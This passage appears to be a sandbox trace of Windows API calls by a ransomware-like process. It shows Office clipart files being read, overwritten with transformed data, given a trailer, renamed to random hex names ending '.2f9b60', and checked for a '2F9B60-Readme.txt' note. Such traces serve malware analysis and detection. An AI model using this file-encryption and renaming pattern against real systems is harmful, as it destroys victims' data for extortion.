[0124.954] RtlAnsiStringToUnicodeString (in: DestinationString=0x20dbfcf8, SourceString="edd81f4eb1966c66d65aef66f59317080e70b73674d2538e", AllocateDestinationString=1 | out: DestinationString="edd81f4eb1966c66d65aef66f59317080e70b73674d2538e") returned 0x0 [0124.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8639d0 [0124.954] wcscat (in: _Dest=0x2027a150, _Source="edd81f4eb196" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edd81f4eb196") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edd81f4eb196" [0124.954] wcscat (in: _Dest=0x2027a150, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edd81f4eb196.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edd81f4eb196.2f9b60" [0124.954] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edd81f4eb196.2f9b60", NtPathName=0x20dbfcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edd81f4eb196.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107240 [0124.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107240) returned 1 [0124.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48f90) returned 1 [0124.971] NtQueryInformationFile (in: FileHandle=0xfec, IoStatusBlock=0x20dbfd38, FileInformation=0x20dbfd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20dbfd38, FileInformation=0x20dbfd48) returned 0x0 [0124.971] NtSetInformationFile (FileHandle=0xfec, IoStatusBlock=0x20dbfd38, FileInformation=0x20dbfd48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a150) returned 1 [0124.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8639d0) returned 1 [0124.975] FlushFileBuffers (hFile=0xfec) returned 1 [0124.980] CloseHandle (hObject=0xfec) returned 1 [0124.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027b690 [0124.988] wcscpy (in: _Dest=0x2027b690, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.988] wcscat (in: _Dest=0x2027b690, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b690) returned 1 [0124.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5610) returned 1 Thread: id = 1540 os_tid = 0x1a64 [0121.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x20 [0122.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF", dwFileAttributes=0x20) returned 1 [0122.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfc4 [0122.605] GetFileSizeEx (in: hFile=0xfc4, lpFileSize=0x20f5f6c0 | out: lpFileSize=0x20f5f6c0*=12788) returned 1 [0122.605] SetFilePointerEx (in: hFile=0xfc4, liDistanceToMove=0x31f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.605] ReadFile (in: hFile=0xfc4, lpBuffer=0x20f5f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20f5f688, lpOverlapped=0x0 | out: lpBuffer=0x20f5f640*, lpNumberOfBytesRead=0x20f5f688*=0x4, lpOverlapped=0x0) returned 1 [0122.618] SetFilePointerEx (in: hFile=0xfc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0122.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e230 [0122.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e2c0 [0122.618] NtQuerySystemTime (in: CurrentTime=0x20f5f580 | out: CurrentTime=0x20f5f580*=132462177280054000) returned 0x0 [0122.618] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x7a86ce09 [0122.618] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x410273a [0122.618] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x5b919d00 [0122.618] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x5d621f2b [0122.618] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x7d605a21 [0122.618] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x5e62e455 [0122.618] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x153ac639 [0122.618] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x640f209a [0122.618] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x15a29cf0 [0122.618] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x34ac2221 [0122.618] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x39bbb2da [0122.618] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x16451c79 [0122.618] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x20aaac2b [0122.618] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x503f057c [0122.619] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x2fd8f4ca [0122.619] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x5e62e455 [0122.619] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x3a7e7142 [0122.619] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x7847b38b [0122.619] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x5d0bf1bc [0122.619] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x38321980 [0122.619] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x714de6b4 [0122.619] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x34ac2221 [0122.619] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0xd450bec [0122.619] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x7034449f [0122.619] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x70021602 [0122.619] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x7b2efd18 [0122.619] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x7c130ac5 [0122.619] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x5aad4a98 [0122.619] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x62858310 [0122.619] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x232547e1 [0122.619] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0x22bec989 [0122.619] RtlRandomEx (in: Seed=0x20f5f570 | out: Seed=0x20f5f570) returned 0xc7a34bc [0122.626] ReadFile (in: hFile=0xfc4, lpBuffer=0x41f35950, nNumberOfBytesToRead=0x31f4, lpNumberOfBytesRead=0x20f5f570, lpOverlapped=0x0 | out: lpBuffer=0x41f35950*, lpNumberOfBytesRead=0x20f5f570*=0x31f4, lpOverlapped=0x0) returned 1 [0122.640] SetFilePointerEx (in: hFile=0xfc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.640] WriteFile (in: hFile=0xfc4, lpBuffer=0x41f178d0*, nNumberOfBytesToWrite=0x31f4, lpNumberOfBytesWritten=0x20f5f574, lpOverlapped=0x0 | out: lpBuffer=0x41f178d0*, lpNumberOfBytesWritten=0x20f5f574*=0x31f4, lpOverlapped=0x0) returned 1 [0122.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff70 [0122.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860000 [0122.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860000) returned 1 [0122.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f178d0) returned 1 [0122.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f35950) returned 1 [0122.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0122.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860000 [0122.849] SetFilePointerEx (in: hFile=0xfc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.849] WriteFile (in: hFile=0xfc4, lpBuffer=0x204fff90*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x20f5f690, lpOverlapped=0x0 | out: lpBuffer=0x204fff90*, lpNumberOfBytesWritten=0x20f5f690*=0x10a, lpOverlapped=0x0) returned 1 [0123.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d50 [0123.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0123.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e170 [0123.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e170) returned 1 [0123.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e170 [0123.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e140 [0123.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e140) returned 1 [0123.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0123.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d50) returned 1 [0123.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.069] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="ed") returned 2 [0123.069] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="6e") returned 2 [0123.069] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="bb") returned 2 [0123.069] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="27") returned 2 [0123.069] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="03") returned 2 [0123.069] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="c3") returned 2 [0123.069] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="70") returned 2 [0123.069] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="f6") returned 2 [0123.069] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="46") returned 2 [0123.069] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="0b") returned 2 [0123.070] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="f6") returned 2 [0123.070] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="5b") returned 2 [0123.070] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="ce") returned 2 [0123.070] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="61") returned 2 [0123.070] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="b8") returned 2 [0123.070] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="1e") returned 2 [0123.070] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="ae") returned 2 [0123.070] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="20") returned 2 [0123.070] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="30") returned 2 [0123.070] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="9d") returned 2 [0123.070] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="19") returned 2 [0123.070] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="71") returned 2 [0123.070] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="55") returned 2 [0123.070] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="ec") returned 2 [0123.070] RtlInitAnsiString (in: DestinationString=0x20f5f708, SourceString="ed6ebb2703c370f6460bf65bce61b81eae20309d197155ec" | out: DestinationString="ed6ebb2703c370f6460bf65bce61b81eae20309d197155ec") [0123.070] RtlAnsiStringToUnicodeString (in: DestinationString=0x20f5f6d8, SourceString="ed6ebb2703c370f6460bf65bce61b81eae20309d197155ec", AllocateDestinationString=1 | out: DestinationString="ed6ebb2703c370f6460bf65bce61b81eae20309d197155ec") returned 0x0 [0123.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9390 [0123.071] wcscat (in: _Dest=0x202b1cd0, _Source="ed6ebb2703c3" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ed6ebb2703c3") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ed6ebb2703c3" [0123.071] wcscat (in: _Dest=0x202b1cd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ed6ebb2703c3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ed6ebb2703c3.2f9b60" [0123.071] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ed6ebb2703c3.2f9b60", NtPathName=0x20f5f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ed6ebb2703c3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107480 [0123.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107480) returned 1 [0123.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293300) returned 1 [0123.409] NtQueryInformationFile (in: FileHandle=0xfc4, IoStatusBlock=0x20f5f718, FileInformation=0x20f5f728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20f5f718, FileInformation=0x20f5f728) returned 0x0 [0123.409] NtSetInformationFile (FileHandle=0xfc4, IoStatusBlock=0x20f5f718, FileInformation=0x20f5f728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1cd0) returned 1 [0123.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9390) returned 1 [0123.422] FlushFileBuffers (hFile=0xfc4) returned 1 [0123.424] CloseHandle (hObject=0xfc4) returned 1 [0123.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1cd0 [0123.425] wcscpy (in: _Dest=0x202b1cd0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0123.425] wcscat (in: _Dest=0x202b1cd0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0123.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0123.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1cd0) returned 1 [0123.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5730) returned 1 Thread: id = 1541 os_tid = 0x1a68 [0121.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x20 [0122.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF", dwFileAttributes=0x20) returned 1 [0122.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfe0 [0123.452] GetFileSizeEx (in: hFile=0xfe0, lpFileSize=0x211af8e0 | out: lpFileSize=0x211af8e0*=3104) returned 1 [0123.452] SetFilePointerEx (in: hFile=0xfe0, liDistanceToMove=0xc1c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.452] ReadFile (in: hFile=0xfe0, lpBuffer=0x211af860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x211af8a8, lpOverlapped=0x0 | out: lpBuffer=0x211af860*, lpNumberOfBytesRead=0x211af8a8*=0x4, lpOverlapped=0x0) returned 1 [0123.839] SetFilePointerEx (in: hFile=0xfe0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e950 [0123.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e830 [0123.840] NtQuerySystemTime (in: CurrentTime=0x211af7a0 | out: CurrentTime=0x211af7a0*=132462177292222000) returned 0x0 [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x3386c55f [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x47995b52 [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x155b7d3a [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0xdd7280b [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x5d28ee7b [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x43222594 [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x69c1d7a6 [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x622d1c0 [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x56f90503 [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x3077b3d7 [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x4f0bb150 [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x7ed56aff [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x7a4bce0b [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x44117b0b [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x72c85484 [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x3b8e5722 [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x3e72ee4 [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x402d37ac [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x79e3663f [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x4bd6ef68 [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x6257473d [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x5af53d0c [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x4781b14c [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x76762e28 [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x428a723d [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x5f2a045b [0123.840] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x66ab82ec [0123.841] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x17955a9f [0123.841] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x1638473e [0123.841] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x43cd6cec [0123.841] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x64f2b51c [0123.841] RtlRandomEx (in: Seed=0x211af790 | out: Seed=0x211af790) returned 0x36c558f4 [0124.502] ReadFile (in: hFile=0xfe0, lpBuffer=0x41d4c1b0, nNumberOfBytesToRead=0xc20, lpNumberOfBytesRead=0x211af790, lpOverlapped=0x0 | out: lpBuffer=0x41d4c1b0*, lpNumberOfBytesRead=0x211af790*=0xc20, lpOverlapped=0x0) returned 1 [0124.502] SetFilePointerEx (in: hFile=0xfe0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.502] WriteFile (in: hFile=0xfe0, lpBuffer=0x202178d0*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x211af794, lpOverlapped=0x0 | out: lpBuffer=0x202178d0*, lpNumberOfBytesWritten=0x211af794*=0xc20, lpOverlapped=0x0) returned 1 [0124.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0124.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860390 [0124.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860390) returned 1 [0124.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202178d0) returned 1 [0124.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d4c1b0) returned 1 [0124.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867840) returned 1 [0124.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059fb0) returned 1 [0124.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860390 [0124.560] SetFilePointerEx (in: hFile=0xfe0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.560] WriteFile (in: hFile=0xfe0, lpBuffer=0x167a60*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x211af8b0, lpOverlapped=0x0 | out: lpBuffer=0x167a60*, lpNumberOfBytesWritten=0x211af8b0*=0x10a, lpOverlapped=0x0) returned 1 [0124.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e800 [0124.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e800) returned 1 [0124.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e800 [0124.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e920 [0124.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e920) returned 1 [0124.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0124.627] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="b8") returned 2 [0124.627] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="91") returned 2 [0124.627] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="bd") returned 2 [0124.627] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="cb") returned 2 [0124.627] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="db") returned 2 [0124.627] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="72") returned 2 [0124.627] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="30") returned 2 [0124.627] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="7f") returned 2 [0124.627] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="a9") returned 2 [0124.627] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="14") returned 2 [0124.627] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="6c") returned 2 [0124.627] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="ed") returned 2 [0124.627] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="53") returned 2 [0124.627] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="04") returned 2 [0124.627] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="98") returned 2 [0124.627] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="03") returned 2 [0124.627] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="ae") returned 2 [0124.627] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="a5") returned 2 [0124.627] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="e5") returned 2 [0124.627] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="90") returned 2 [0124.628] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="ab") returned 2 [0124.628] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: 